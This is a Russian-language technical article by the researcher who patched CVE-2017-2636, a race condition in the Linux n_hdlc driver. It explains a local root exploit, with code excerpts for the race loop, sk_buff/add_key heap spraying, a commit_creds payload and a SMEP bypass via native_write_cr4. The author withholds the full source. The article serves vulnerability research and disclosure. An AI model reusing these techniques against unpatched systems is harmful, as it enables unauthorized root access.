Локальное повышение привилегий на атакуемой системе — это важнейший этап взлома. Эксплоит должен быть быстрым и стабильным. Но добиться этих качеств бывает не так-то просто, особенно если эксплуатируешь состояние гонки. Тем не менее это удалось сделать для уязвимости CVE-2017-2636 в ядре Linux. В данной статье будет разобран ее эксплоит, выполняющий локальное повышение привилегий с обходом Supervisor Mode Execution Protection (SMEP).
 

Введение

Итак, рассмотрим уязвимость CVE-2017-2636. Это состояние гонки (race condition) в драйвере n_hdlc (drivers/tty/n_hdlc.c), который предоставляет поддержку протокола HDLC для последовательных портов. Этот драйвер поставляется многими дистрибутивами Linux, имеющими настройку CONFIG_N_HDLC=m в конфигурационном файле ядра. Поэтому данной уязвимости оказались подвержены такие дистрибутивы, как RHEL 6/7, Fedora, SUSE, Debian и Ubuntu.

На данный момент уязвимость уже исправлена в «ванильном» ядре и публично разглашена. Ошибка была внесена довольно давно, в итоге мой патч был применен ко всем стабильным версиям Linux.

Но мы сегодня будем говорить не об исправлении уязвимости, а о ее эксплуатации. Я покажу, как работает стабильный и быстрый эксплоит для данной уязвимости. Он редко приводит к панике ядра и получает привилегии root менее чем за 20 секунд (как минимум на моих машинах), умеет обходить SMEP, однако обнаруживается с помощью Supervisor Mode Access Prevention (SMAP). Хотя и это средство защиты можно обмануть, приложив некоторые дополнительные усилия.

Забегая немного вперед, скажу, что для работы этому эксплоиту требуется базовый адрес ядра, неизвестный из-за Kernel Address Space Layout Randomization (KASLR). Но это средство защиты не стоит рассматривать как проблему — нужный адрес можно получить с помощью информационной утечки либо атакой по сторонним каналам (теория, практика). Ну а теперь обо всем по порядку.

 

Состояние гонки в n_hdlc

Исследование уязвимости началось с подозрительного отчета фаззера syzkaller. Это отличный проект, с его помощью было найдено множество ошибок в ядре Linux, и он достоин отдельного материала. Но сегодня речь не о нем.

Итак, изначально в уязвимом драйвере n_hdlc для передаваемых данных использовался самописный односвязный список буферов. При ошибке передачи данных в указатель n_hdlc.tbuf записывался адрес текущего буфера. Это работало, но в 2009 году был принят коммит be10eb75893, который добавил поддержку сброса данных и внес состояние гонки при обращении к n_hdlc.tbuf.

Если при отправке данных произошла ошибка, то в последующем функции flush_tx_queue() и n_hdlc_send_frames() обращаются к n_hdlc.tbuf и при одновременном исполнении могут дважды поместить один и тот же буфер в список tx_free_buf_list. Это приводит к двойному освобождению памяти в n_hdlc_release(). Буферы данных представлены структурой n_hdlc_buf и выделяются в slab-кеше kmalloc-8192.

 

Мой патч

Для исправления этой уязвимости я избавился от n_hdlc.tbuf, используя стандартные связные списки ядра Linux и спинлоки (spinlocks). В случае ошибки передачи данных текущий буфер помещается в начало списка tx_buf_list.

 

Эксплуатация уязвимости

Из-за чего возникает уязвимость, мы выяснили, займемся ее эксплуатацией. Давай разберем код основного цикла эксплоита. Он исполняется, пока не будут получены привилегии пользователя root.

for (;;) {
    long tmo1 = 0;
    long tmo2 = 0;

    if (loop % 2 == 0)
        tmo1 = loop % MAX_RACE_LAG_USEC;
    else
        tmo2 = loop % MAX_RACE_LAG_USEC;

Счетчик loop увеличивается каждую итерацию, изменяются и переменные tmo1 и tmo2. Они задают задержку в конкурирующих потоках исполнения, которые:

  • синхронизируются на pthread_barrier;
  • ожидают заданное количество микросекунд в холостом цикле;
  • наконец, взаимодействуют с интерфейсом драйвера n_hdlc.

Такой способ столкновения потоков исполнения позволяет скорее достичь состояния гонки.

    ptmd = open("/dev/ptmx", O_RDWR);
    if (ptmd < 0) {
        perror("[-] open /dev/ptmx");
        goto end;
    }

    ret = ioctl(ptmd, TIOCSETD, &ldisc);
    if (ret < 0) {
        perror("[-] TIOCSETD");
        goto end;
    }

Здесь мы открываем псевдотерминал (ptmd) и устанавливаем для него протокол N_HDLC. Подробную информацию об этом можешь посмотреть в man ptmx, Documentation/serial/tty.txt и данном обсуждении программных компонентов псевдотерминала.

Установка N_HDLC для последовательной линии приводит к автоматической загрузке драйвера n_hdlc, поставляемого как модуль ядра. Этот же эффект может быть достигнут и с помощью сервиса ldattach.

    ret = ioctl(ptmd, TCXONC, TCOOFF);
    if (ret < 0) {
        perror("[-] TCXONC TCOOFF");
        goto end;
    }

    bytes = write(ptmd, buf, TTY_BUF_SZ);
    if (bytes != TTY_BUF_SZ) {
        printf("[-] write to ptmx (bytes)");
        goto end;
    }

Теперь мы приостанавливаем вывод данных псевдотерминала (см. man tty_ioctl) и пишем в него один буфер. Функция n_hdlc_send_frames() не может выполнить отправку данного буфера и сохраняет его адрес в n_hdlc.tbuf.

Все готово, попытаемся воспроизвести состояние гонки. Запускаем два потока, которые могут исполняться на всех доступных ядрах процессора:

  • поток 1 сбрасывает данные псевдотерминала с помощью ioctl(ptmd, TCFLSH, TCIOFLUSH);
  • поток 2 возобновляет приостановленный вывод с помощью ioctl(ptmd, TCXONC, TCOON).

У этих потоков есть шанс дважды поместить в tx_free_buf_list тот единственный буфер, который был записан в псевдотерминал.

Теперь возвращаем исполнение эксплоита на нулевое ядро процессора и вызываем возможную ошибку двойного освобождения памяти:

    ret = sched_setaffinity(0, sizeof(single_cpu), &single_cpu);
    if (ret != 0) {
        perror("[-] sched_setaffinity");
        goto end;
    }

    ret = close(ptmd);
    if (ret != 0) {
        perror("[-] close /dev/ptmx");
        goto end;
    }

Мы закрыли псевдотерминал. Функция n_hdlc_release() проходит по спискам n_hdlc_buf_list и освобождает память, занятую под буферы n_hdlc_buf. Если мы выиграли гонку, то здесь должно произойти двойное освобождение памяти (double-free error).

Эта ошибка успешно обнаруживается с помощью Kernel Address Sanitizer (KASAN), который сообщает о ней как об использовании после освобождения (use-after-free), происходящем прямо перед вторым вызовом kfree().

Завершающая часть главного цикла:

    ret = exploit_skb(socks, sockaddrs, payload, loop % SOCK_PAIRS);
    if (ret != EXIT_SUCCESS)
        goto end;

    if (getuid() == 0 && geteuid() == 0) {
        printf("[+] race #%ld: WIN! flush(%ld), TCOON(%ld)",
                        loop, tmo1, tmo2);
        break; /* :) */
    }

    loop++;
}

printf("[+] finish as: uid=0, euid=0, start sh...");
run_sh();

В функции exploit_skb() мы пробуем проэксплуатировать двойное освобождение памяти с помощью перезаписи struct sk_buff. Если успешно — выходим из цикла и с помощью execve() запускаем root shell в дочернем процессе.

 

Эксплуатация sk_buff

Как было сказано, экземпляры n_hdlc_buf выделяются в slab-кеше kmalloc-8192. Для эксплуатации двойного освобождения в этом кеше потребуются некоторые сущности в ядре Linux, размер которых немного меньше 8 Кбайт. На самом деле нужно два типа таких объектов:

  • объекты, имеющие какой-либо указатель на функцию,
  • объекты с контролируемым содержимым на месте данного указателя.

Поиск таких объектов и эксперименты с ними заняли у меня значительное время. Наконец я выбрал sk_buff с его destructor_arg в структуре skb_shared_info. Эта идея не нова — рекомендую ознакомиться с отличной статьей о CVE-2016-2384.

Структура sk_buff в ядре Linux служит для представления сетевых пакетов. Важно то, что интересующая нас skb_shared_info и сетевые данные располагаются в одном и том же блоке памяти, на который указывает sk_buff.head (см. схемы). Таким образом, создание сетевого пакета размером 7500 байт в пользовательском пространстве приведет к появлению skb_shared_info в памяти из slab-кеша kmalloc-8192. Ровно так, как нужно для эксплоита.

Но есть одна трудность: функция n_hdlc_release() освобождает сразу тринадцать буферов n_hdlc_buf. Сначала я пытался выполнять атаку heap spraying параллельно с n_hdlc_release(), но не смог добиться вызова kmalloc() между соответствующими kfree(). В итоге нашелся другой путь. Выполнение heap spraying после n_hdlc_release() может дать два экземпляра sk_buff с полем head, ссылающимся на одну и ту же область памяти. Это выглядит многообещающе.

Однако для успеха данного этапа атаки нужно как можно дольше сохранять в памяти ядра отправляемые сетевые пакеты, чтобы минимально воздействовать на аллокатор. Одной пары сетевых сокетов для этого недостаточно — размер очереди ограничен, непоместившиеся пакеты отбрасываются. Решением стало открывать одновременно достаточно большое количество соединений.

С помощью socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) было открыто 402 сокета:

  • один клиентский сокет для отправки всех UDP-пакетов;
  • один специальный серверный сокет для приема пакетов с дублированным значением sk_buff.head;
  • 200 серверных сокетов для остальных пакетов, отправляемых при heap spraying;
  • 200 серверных сокетов для дополнительных пакетов, отправляемых при стабилизации состояния slab-аллокатора.

Итак, теперь нам нужен другой объект ядра с контролируемым содержимым, способным переписать skb_shared_info.destructor_arg. Мы не можем повторно использовать для этого sk_buff.head, так как данная структура расположена по фиксированному отступу от начала sk_buff.head и мы ее не контролируем. Я был очень рад обнаружить системный вызов add_key, с помощью которого можно поместить контролируемые данные в память, выделенную kmalloc-8192. Но к моему сожалению, количество данных, размещаемых в памяти ядра Linux с помощью add_key, ограничено квотами /proc/sys/kernel/keys/. Изменять их может только пользователь root.

Значение /proc/sys/kernel/keys/maxbytes по умолчанию равно 20000. Это означает, что для полезной нагрузки размером 8 Кбайт только два вызова add_key выполнятся успешно и сохранят ее в памяти ядра. Однако мне помогла замечательная идея из выступления Ди Шэня (Di Shen), исследователя из Keen Security Lab. Я обнаружил, что успешное выполнение heap spraying возможно, даже если add_key возвращает ошибку переполнения квоты. Оказалось, что копирование данных в память ядра происходит до проверки квоты и возврата ошибки.

Итак, взглянем на код функции init_payload():

#define MMAP_ADDR            0x10000lu
#define PAYLOAD_SZ            8100
#define SKB_END_OFFSET        7872
#define KEY_DATA_OFFSET        18

int init_payload(char *p)
{
    struct skb_shared_info *info = (struct skb_shared_info *)(p +
                    SKB_END_OFFSET - KEY_DATA_OFFSET);
    struct ubuf_info *uinfo_p = NULL;

Определение структур skb_shared_info и ubuf_info скопировано в код эксплоита из соответствующего заголовочного файла ядра (include/linux/skbuff.h).

Буфер с полезной нагрузкой будет передан системному вызову add_key в качестве параметра. Данные, которые расположены в нем по отступу 7872 – 18 = 7854 байт, наложатся на структуру skb_shared_info перезаписываемого сетевого пакета.

    char *area = NULL;
    void *target_addr = (void *)(MMAP_ADDR);

    area = mmap(target_addr, 0x1000, PROT_READ | PROT_WRITE,
            MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (area != target_addr) {
        perror("[-] mmap");
        return EXIT_FAILURE;
    }

    uinfo_p = target_addr;
    uinfo_p->callback = (uint64_t)root_it;

    info->destructor_arg = (uint64_t)uinfo_p;
    info->tx_flags = SKBTX_DEV_ZEROCOPY;

Если в skb_shared_info.tx_flags взведен флаг SKBTX_DEV_ZEROCOPY, то при выполнении skb_release_data() будет вызвана функция с адресом в ubuf_info.callback. В нашем случае экземпляр ubuf_info располагается в пользовательском пространстве, поэтому обращение к нему из пространства ядра будет обнаружено механизмом SMAP.

Как бы то ни было, теперь callback указывает на функцию root_it(), в которой выполняется классическое commit_creds(prepare_kernel_cred(0)). Код данной функции также расположен в пользовательском пространстве, а значит, его исполнение из ring 0 обнаруживается механизмом SMEP, обход которого будет показан ниже.

 

Атака и стабилизация

Как было упомянуто, функция n_hdlc_release() освобождает тринадцать буферов n_hdlc_buf при закрытии псевдотерминала. Функция exploit_skb() вызывается вскоре после этого. В ней мы выполняем heap spraying, посылая двадцать UDP-пакетов размером 7500 байт. Было экспериментально установлено, что пакеты номер 12, 13, 14 и 15 с высокой вероятностью будут эксплуатируемы, поэтому они посылаются на специальный серверный сокет.

Теперь нужно выполнить использование после освобождения для sk_buff.data:

  • принимаем четыре пакета на указанном сокете,
  • после каждого принятого пакета выполняем несколько системных вызовов add_key для буфера, подготовленного в init_payload():
k[0] = syscall(__NR_add_key, "user", "payload0",
            payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);

Количество вызовов add_key, дающее наилучший результат, было найдено эмпирически с помощью многократного тестирования эксплоита.

Если было достигнуто состояние гонки в драйвере n_hdlc и затем была удачно выполнена атака heap spraying, то наш shell-код будет исполнен при приеме перезаписанного UDP-пакета.

Успешно созданные ключи более не нужны, удаляем их:

for (i = 0; i < KEYS_N; i++) {
    if (k[i] > 0)
        syscall(__NR_keyctl, KEYCTL_INVALIDATE, k[i]);
}

Теперь нам нужно подготовить кучу к следующей попытке поймать состояние гонки. Файл /proc/slabinfo показывает, что в одном slab для kmalloc-8192 содержится только четыре объекта размером 8 Кбайт, значит, двойное освобождение памяти с большой вероятностью может вызвать панику в аллокаторе. Но избежать отказа и сделать эксплоит намного более стабильным поможет такой трюк: посылаем дюжину UDP-пакетов, которые заполняют опустевшие места в kmalloc-8192.

 

Обход SMEP

Как было сказано, shell-код root_it() расположен в пользовательском пространстве. Исполнение его в пространстве ядра обнаруживается при включенном SMEP. Это функция платформы x86, которая включается 20-м битом регистра CR4.

Есть несколько способов обойти SMEP. Например, Виталий Николенко описывает, как выключить SMEP с помощью возвратно-ориентированного программирования (return oriented programming, ROP). Это прекрасно работает, но мне не хотелось просто копировать этот подход, поэтому я нашел другой интересный путь обхода SMEP без использования ROP.

В файле arch/x86/include/asm/special_insns.h я обнаружил функцию native_write_cr4():

static inline void native_write_cr4(unsigned long val)
{
    printk("wcr4: 0x%lx", val);
    asm volatile("mov %0,%%cr4": : "r" (val), "m" (__force_order));
}

Она записывает значение единственного аргумента в CR4.

Теперь посмотрим на код функции skb_release_data(), которая вызывает контролируемый эксплоитом callback в ring 0:

if (shinfo->tx_flags & SKBTX_DEV_ZEROCOPY) {
    struct ubuf_info *uarg;

    uarg = shinfo->destructor_arg;
    if (uarg->callback)
        uarg->callback(uarg, true);
}

Мы видим, что функция callback принимает адрес uarg в качестве первого аргумента. Мы контролируем данный адрес при эксплуатации sk_buff. Поэтому я решил записать адрес функции native_write_cr4() в указатель ubuf_info.callback, а структуру ubuf_info с помощью mmap() расположить по адресу, соответствующему корректному значению CR4 с выключенным SMEP.

В этом случае на данном процессорном ядре SMEP будет выключен без использования ROP. Однако для эксплуатации придется достичь состояния гонки дважды: первый раз для отключения SMEP, второй раз для выполнения shell-кода. Но для данного эксплоита это не будет проблемой, поскольку он быстрый и надежный.

Итак, подготовим полезную нагрузку для add_key по-новому:

#define CR4_VAL    0x0406e0lu

void *target_addr = (void *)(CR4_VAL & 0xfffff000lu);

area = mmap(target_addr, 0x1000, PROT_READ | PROT_WRITE,
        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (area != target_addr) {
    perror("[-] mmap");
    return EXIT_FAILURE;
}

uinfo_p = (struct ubuf_info *)CR4_VAL;
uinfo_p->callback = NATIVE_WRITE_CR4;

info->destructor_arg = (uint64_t)uinfo_p;
info->tx_flags = SKBTX_DEV_ZEROCOPY;

Этот способ обхода SMEP выглядит остроумно, однако накладывает дополнительное требование — для его работы требуется взведенный 18-й бит регистра CR4 (OSXSAVE). Без этого бита target_addr становится равным 0, а mmap() на нулевую страницу запрещен.

 

Подводя итоги

Кто-то может спросить: а где же готовый исходный код эксплоита? Его, по понятным причинам, я выкладывать не стал. Но если он тебе нужен, у тебя теперь вполне достаточно информации, чтобы постараться воспроизвести его самостоятельно. Я же на этом месте закончу свой рассказ. В завершение хочу добавить, что исследование CVE-2017-2636 и написание этой статьи было для меня большим удовольствием, и поблагодарить Positive Technologies за возможность провести эту работу. И конечно, буду рад обратной связи.

Эксплоит успешно отработал. Root shell получен
Эксплоит успешно отработал. Root shell получен

WWW

Видео с демонстрацией работы эксплоита смотри на YouTube-канале компании Positive Technologies.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии